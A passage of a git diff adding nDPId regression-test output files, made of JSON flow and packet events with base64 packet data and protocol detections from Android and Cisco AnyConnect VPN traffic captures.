+00802{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":481,"source":"android.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":4,"flow_first_seen":1582454871741,"flow_last_seen":1582454872015,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.74","src_port":52514,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"semanticlocation-pa.googleapis.com","ja3":"33490b1d5377580b19f7f9b5849d7991","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00521{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":15971,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB0wjBAAEAGtjPAqAIQ2O8meID2AbsYfveuTGBNtoAYAW2umQAAAQEICv\/\/N6\/Dx9xvFAMDAAEBFwMDADVbu6lmuoyUsN+4Pg9R95AiJ3cOU\/w0ELRSdXuiw82zCKp2P\/R3ocEPaJdhwqvhDQv8ND4drw=="} +00549{"flow_id":63,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":18285,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"xiwDYGpkTGr2n\/YnCABFAACKwjFAAEAGthzAqAIQ2O8meID2AbsYfvfuTGBNtoAYAW1KVgAAAQEICv\/\/N6\/Dx9xvFwMDAFGzhX3zSHCSeQpcf+zj8Wg7u0+TqEYwPvzEsCCIKC3h+Rh2v2i2Wc+KkH4gJdydkzKfja2tSy9hV1nfpRWuGELl22sRnalE\/L4M0AIVuHR+R3Y="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":485,"source":"android.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1582454872021,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":56312,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":21787,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBrFBAAEARCPrAqAIQwKgCAdv4ADUALYKcD\/4BAAABAAAAAAAABXByb3h5CWdvb2dsZXppcANuZXQAAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":485,"source":"android.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1582454872021,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":56312,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"proxy.googlezip.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01757{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":21845,"pkt_caplen":1038,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1038,"pkt_l4_len":1004,"pkt":"xiwDYGpkTGr2n\/YnCABFAAQA\/A5AAEAGeMnAqAIQ2O8meIDcAbs4lM0LVf5IAYAYAXhukgAAAQEICv\/\/N7Am52FYFwMDA8fkS\/Ydkg506bRsDx2aMu2LlYm3FmTcPfwbGg1JlpJX0\/WGVHylpv2llZD7rzzljb59bzFSez1T0MCbZ2bGCu\/qVr8XRR0Zowqkuedp1eBCfKnQEa584nR3lZivymtrU\/m0+f18jhItxNeYyEjfpEax17Gx6tBHE0eut62vMFfbiMGwIu8sa6FlWlInjTE+E7c2x5MK7iSwLlrLndU7Oq6x76XI1\/8pAavRR\/K1SykGT8f1mk0Le9kP\/af6ITJ9tImH4FaZTMOrmb\/Mp0ISTHIRrfWte7x6HwM5W+XROxPixm+\/IiiFY86CJsxNB7PhhkUTFLJ1OHsK\/9ekMdY083fBvAgMXLB19zCUer\/QrZpIC7ii+BHMAiE6l2zib1DDyt9S9DX+bbsIozF9Wg6RdT2vUP35mBh+mnYPtqLId4ogcPD3wP8A6eLu4Ox+7IiY3Ay19lRbEKY3W5GiAjwTFKsPmbcmVomh2KflsF0hbbJv8J920A7jlZZwPOsMgYVbx66S8LarZ4PMaYdclhQC1\/Bd7gbSlgyHfTwk2M2T5cgdIUbJKFr28gFjhBMoIOJ7aDPC+W7mHpnRRbsi8zigNAjk9Iq4uJ63eMGX6e86osrzVxl1YZ0VqTV3SkdM\/pJaP0SfN\/qPVNsTlepIk59Wp9\/qpxV\/RFzc94o4ZHakNsvKrpmha4jwrEfQiHwotG1ix0u38qgKeFd9OA8ntI\/Lb+8exQUk09KZYhOcxUkpmmzlFFTHCis8GFZ0dHg+dFp2f0z6mn\/QQ7gomWCTl8AUdhzY2PyhssLHO7nllYuPjQIvE7UoG+Y9Yrb1fLG3OMHiAc5VBCF26K\/XGR1T918nNJLbrky1nCmpVqOKDX7KsgLDTwpZjXI4Mn+dC1ajE0U+B9YMZvQJGINvQIp8DuxCSO5m1p3+VtQOsgtolIUlC8zWcFTaoZwypwVbXyPXUUHuBP7oDFaAYG62usQonw8xG5LlazHdAHSJCLonePTXaw8gtMVhCaVTN3tdnb6cG6iCZVMAqn3FU0GIV1h9tlVmO5VMJsYAtGwcOSbRMs4FpKhg9KLTSbwuhzw\/x+qVSm5FE0A1\/fj1TUFM7MyrQtG9njbPDfp7Vtn5N36RDG3+aVdK3zRjNk9FbwSWBXT2d\/+FzZ\/kwRoqI1aWkOFuBNSyV7UsGI5yTB3k\/vC13dwy+KKNWW2EaBfaeFjurAr9TajB5brdV6\/BoloMVRgKEkcSUmkfQiKmKmkKh40DJ4\/9bR3TDteTPMUOkoZNJoFHTTKQoTa1r1ZDDfap"} +00467{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":22430,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRBMwAAEAR8G7AqAIBwKgCEAA12\/gAPTZ5D\/6BgAABAAEAAAAABXByb3h5CWdvb2dsZXppcANuZXQAAAEAAcAMAAEAAQAAAJMABKzZFEw="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":487,"source":"android.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":2,"flow_first_seen":1582454872021,"flow_last_seen":1582454872022,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":56312,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"proxy.googlezip.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.20.76"}} +00430{"flow_id":62,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":24686,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0\/AMAAHUGxeKs2RRMwKgCEAG7qn7jcDeqpd5\/8YARAPBRkgAAAQEICunZkbb\/\/zen"} +00429{"flow_id":62,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":26304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SnFAAEAGbHXAqAIQrNkUTKp+Abul3n\/x43A3q4AQAW1RCwAAAQEICv\/\/N7Hp2ZG2"} +00428{"flow_id":63,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":30811,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0APEAAHUGgrPY7yZ4wKgCEAG7gPZMYE22GH74RIAQAPCtwgAAAQEICsPH3Oj\/\/zev"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":491,"source":"android.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1582454872031,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43652,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":31849,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8+JhAAEAGvkXAqAIQrNkUTKqEAbsc\/M8rAAAAAKAC\/\/\/0BgAAAgQFtAQCCAr\/\/zezAAAAAAEDAwg="} +01218{"flow_id":63,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":32305,"pkt_caplen":646,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":646,"pkt_l4_len":612,"pkt":"TGr2n\/YnxiwDYGpkCABFAAJ4APIAAHUGgG7Y7yZ4wKgCEAG7gPZMYE22GH74RIAYAPAjvgAAAQEICsPH3On\/\/zevFwMDAgGbyx0dKct4w0cQrKZqJxffiNdC5O312J70N23BOeqnmk+hhM9WV2qnmeDthqciqQNupEqy7C\/aa1wK6d4WZtINeu6mGTxcrFQs3ogNfXsmdkJqn63Akwiw9P60XEf40nGZPQAmzdgEFh1FYQ98FVevYy6Asv5g3gBWwcTFNpeKenDVKORJxxBaqHtp4FgzzykiwuY9lkyaotVKYR02eyxVmjM7eeR+QnPpvnUQ8FEbop9St9Z6QCYn6Sat900CBT6dq4A3KUGK6AkwHNjmj7XFX4EggqIcA4rYpVxniPKn8g29p3p\/Qk4VzsdG5nbkJCQjRjI7LNd1pt4ilciKtGt256aRTSlWhF35Rpjzj\/D2\/7YoxxSRv35\/0UV7JThre9pcqfl1AFllAmC9JNgHMtmDWIzoYfhZAgMjSK\/4ITCyBs+KHX0O+xNLqMJe4ZMbaQ8tVv89XxjVs4Q97Ijia6P5x94S\/J7vJVYdzfa0LogOLmt1lNvG0Ro1PhSTwLqmCgC10POpM4BpyY637pHKSGUHHlRDUXT68la0pALORTY5PQVDsS8bRQzRvkEC4rE0yxZGa+seR95yqoWDbFBHcA7qH6wxK6xWDXeYSI\/UclLKWbHtowuEZjXAYC\/LJtVFkRxKCV91lIdMQSq6bdq3F9LLYdL+TiCrpxM2LDdJsRj+jAQXAwMAOer8Qnat2OSTMbkuMPctf3pZIpH\/sPxOx9aaFeXZGPct+pXzzgyME4qt\/Mft1CbIKAzByg7YDeDQ5g=="} +00473{"flow_id":63,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":32323,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"TGr2n\/YnxiwDYGpkCABFAABTAPMAAHUGgpLY7yZ4wKgCEAG7gPZMYE\/6GH74RIAYAPCCEwAAAQEICsPH3On\/\/zevFwMDABqhPvYLz5iU2T1bnDXI4Y7BIbGOgUS60MVNUQ=="} +00428{"flow_id":63,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":33590,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0wjJAAEAGtnHAqAIQ2O8meID2AbsYfvhETGBP+oAQAXiq8QAAAQEICv\/\/N7PDx9zp"} +00429{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":35674,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0cHAAAHYGEjTY7yZ4wKgCEAG7gNxV\/kgBOJTQ14AQAPfIvQAAAQEICibnYk7\/\/zew"} +00428{"flow_id":65,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":38562,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0OQUAAHYGhiOs2RYKwKgCEAG7rVbtvX7\/RY++1IAQAPAEwQAAAQEICrtH2Eb\/\/zev"} +02354{"flow_id":65,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":47699,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+OQkAAHYGgJWs2RYKwKgCEAG7rVbtvX7\/RY++1IAQAPCMDgAAAQEICrtH2E7\/\/zevFgMDAHoCAAB2AwNCJ34CryLHwzvLQqJBIHrJFiNfsNaHdx1eR2uFmuClXyDedzf23GKLBGTQ\/F9lciqAnLFBg\/D1SaN73F0X8icbJxMBAAAuADMAJAAdACA2FiHMnasy913b\/QD8AjPxTZ158qLmXw3NSQ7+ASWrVgArAAIDBBQDAwABARcDAwtu16sEy92A95bKUEGLd6uicpFA4WHC4rLKfybgTNPAHyTLADrBTV5c4IIKEv9IFoc45M5PX8btWzY16aZOqr9LM9ELJYVm6X\/NDfYrhCBqLqj+riWcgSYwZ+a87+Wr7KJQYcBHr4lklP0JRGYmN9FY9Pz1zQQ48sT8KqOzvJ0cF\/JAIQKnwBHpMtHLaGUZ\/AtLTbEJ5MapLWvURb0h8ktlzQDAAyyVMGLxmlXKQbvRDTTGaOi5CRQCHs223cbhUa6u3log5zT0zUjjoRy17qxg5nrTzk3dUp40Fll8xM93DcVwPK7GwHM6j31lYumoMyhNNaSRd02qeAT6ELm7oNMScDTXUKa4IWeknB7YHVw0180XOo0+QRXMM9dqyeFI+4R21gSfJTJkx12AZNz7mQWhjq2j0qf3ka7sfKgu\/xYaYpYDINRThFNUN9qiNJ1Ok9kM7fotvxM7lnYPyduOq\/hH6njzgQAB1QAhgQBB\/Ywwymwk+K6ZgwkLcMdwV539FoVA9ZOdTPUZMiocSX2GFwF6Axz0ps+indbPd+e2VPfiNUqVEsdKalxJFe8oRsZHRlEQLVuC0w0ct0llQUXNoGtPNlZu5G3ZOOuyL0BB2h11I9fqm6LBkawbvW4+H\/78D+wJaqpbcA\/dQOnvblJ0fKDvN7l4RdRc\/+WUMZ1u\/B+czJbEfBrJq6OEklXn4SucgKv0r5\/8H3FCl2KQpcD6Hl6+7HBtGnr7cg9hk+x3mYa7eEmfBbmfzfihXHo++5dBPlVxTelhf1Ruizafsx2KiX52aCIQl\/c2JpK5kMJQSUv+kJKjQZAWVNk4Apg6V2Fv1FbBiDeaCCE6KOOh\/KehPJiM3lyEjZwAcY27OPZci8SOwVE5AH690QfqfV3D8SMcaIF2+8KSbTkUYTdFkrh\/N\/xI6iwNmWh1byxsv\/Hyc+yg69SOfJLNFnUanfcKem2HvTVukyYwaS8KgrHeeRF\/LVCY6K\/a0lnlR3cnuTZ\/bWCM5acFjYKYifWzzCCL8I3h0s472Efm9fUpYKUS13qSY36A+Qh6WLVsWyRDEcK9OAwLaj2aoQBMnGCknMZi5RtpIkPjWFYwBXc6f5Je3qRDSUhoGDwPgPudXuhgPwkqRtUedZ+cEsWxMRqSqmfSozG49RD7RJiX6P6n6N0WPDvH3XoXfmw9rQWLF0c0258EW0J68VUd48Mdh6\/rUomSl0OuwG6CtVc5llkzDAxm9w8yNAOt6EPYcyEpoq3nKfHxKt1w7PT2zByMG4ncV0956WhbAaWzEdxj5dxiH5LPT7E5OLyTQ8j\/RoTUi6z25S8qcGk0zEPA9GJ\/bVs9m8Uevoy1Mer667E1lotvxykUA5kife5GyuIZTUEcccJ4vcVoiCMwsDDIwobvPLzwqhKXcJIXKiKOFZslMNVEMiaJA7ge1eHItrLeXreKGEtL5GRXYRT0mSEe7vP9+IiBYsqmH5pmcEOqzh7eC0FLDfU3kJ7iRE43HMKPcTUnMAXhwXLSmQrqoi1rVwpZosz7ZlqJ7Rx3AHq9Ol4duCWaom7a3xmQ0b9RuXz3L2yhPzGA\/zvuDAQQltbhHtIv+NgZe8cEpXavPK2GyXPCvFnf9Nx3T6lkTwT8nyG1m0OdfUAY79bmd73qiCi1TsOxlGqZWD5F3kCQuQP2PydEUnDT8XKOtxhDg7M230TjFKoHV6Zy\/eZqfc\/tjHk="} +00875{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":500,"source":"android.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":6,"flow_first_seen":1582454871947,"flow_last_seen":1582454872047,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.22.10","src_port":44374,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"android.googleapis.com","ja3":"629b587f706aee60430ec3879c6edb66","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} diff --git a/test/results/anyconnect-vpn.pcap.out b/test/results/anyconnect-vpn.pcap.out new file mode 100644 index 000000000..0ce2b0ef8 --- /dev/null +++ b/test/results/anyconnect-vpn.pcap.out @@ -0,0 +1,550 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569687240992,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"184.25.56.53","src_port":56885,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687240,"pkt_ts_usec":992580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGP5MKAADjuBk4Nd41AFDGVya80\/P93YAREABFkgAAAQEIChwNaWayL1Dq"} +00428{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":9657,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0BhtAADcGQni4GTg1CgAA4wBQ3jXT8\/3dxlcmvYARAOurFAAAAQEICrIv+nscDWlm"} +00429{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":9749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGP5MKAADjuBk4Nd41AFDGVya90\/P93oAQEACb7gAAAQEIChwNaXeyL\/p7"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569687241064,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.151","src_port":56916,"dst_port":8009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":64503,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2DE0IHf7NDY7z3UoCABFAABAAABAAEAGJT8KAADjCgAAl95UH0ntZWziAAAAALAC\/\/9D4wAAAgQFtAEDAwUBAQgKHA1prQAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569687241422,"flow_last_seen":0,"flow_tot_l4_data_len":142,"flow_min_l4_data_len":142,"flow_max_l4_data_len":142,"flow_avg_l4_data_len":142,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.149","src_port":56320,"dst_port":8009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":422303,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"pHczjPFANDY7z3UoCABFAgCiAABAAEAGJN0KAADjCgAAldwAH0m4VKQ8auVpuYAYEABwEgAAAQEIChwNaxEAIdNWFwMDAGnlEQRtW5ojm6mWGmuJ194WM1mCL2bpF6lVRy8fAR1ACLW+\/3MKXobzfgt7ehMx+gNqTDxT8XKtVt5pIDD++LOG\/\/cqs3TN3c3wAeYVwc4BceqqH837rqaW0xgZLYui1J36mDCwUeIDu0c="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569687241422,"flow_last_seen":0,"flow_tot_l4_data_len":142,"flow_min_l4_data_len":142,"flow_max_l4_data_len":142,"flow_avg_l4_data_len":142,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.149","src_port":56320,"dst_port":8009,"l4_proto":"tcp","ndpi": {"proto":"CiscoVPN","breed":"Acceptable","category":"VPN"}} +00583{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":425059,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"NDY7z3UopHczjPFACABFAgCiFAFAAEAGENwKAACVCgAA4x9J3ABq5Wm5uFSkqoAYARVOTgAAAQEICgAh1UocDWsRFwMDAGlPAxZ+sivF5tip\/a4L1+WZBjanPy6dIIBwPewIOXwBBC++JWdD5zwUQ1UFmtf+v81kwZap7Lx2\/Gcfr+ckh4zK2QCeLZSVHkvGQHTulBE1960y\/ZxOXKVM8M0GvGzhWev1+K8IvZbQRCI="} +00430{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":425121,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAldwAH0m4VKSqauVqJ4AQD\/zHZwAAAQEIChwNaxMAIdVK"} +00431{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569687241452,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00416{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":452023,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":56,"pkt_l4_len":8,"pkt":"AQBeAAABLH6BsEqhCABGwAAgGHkAAAECIZ0KAAAB4AAAAZQEAAARCu71AAAAAGluZyBzeXNjZmc="} +00463{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569687241452,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} 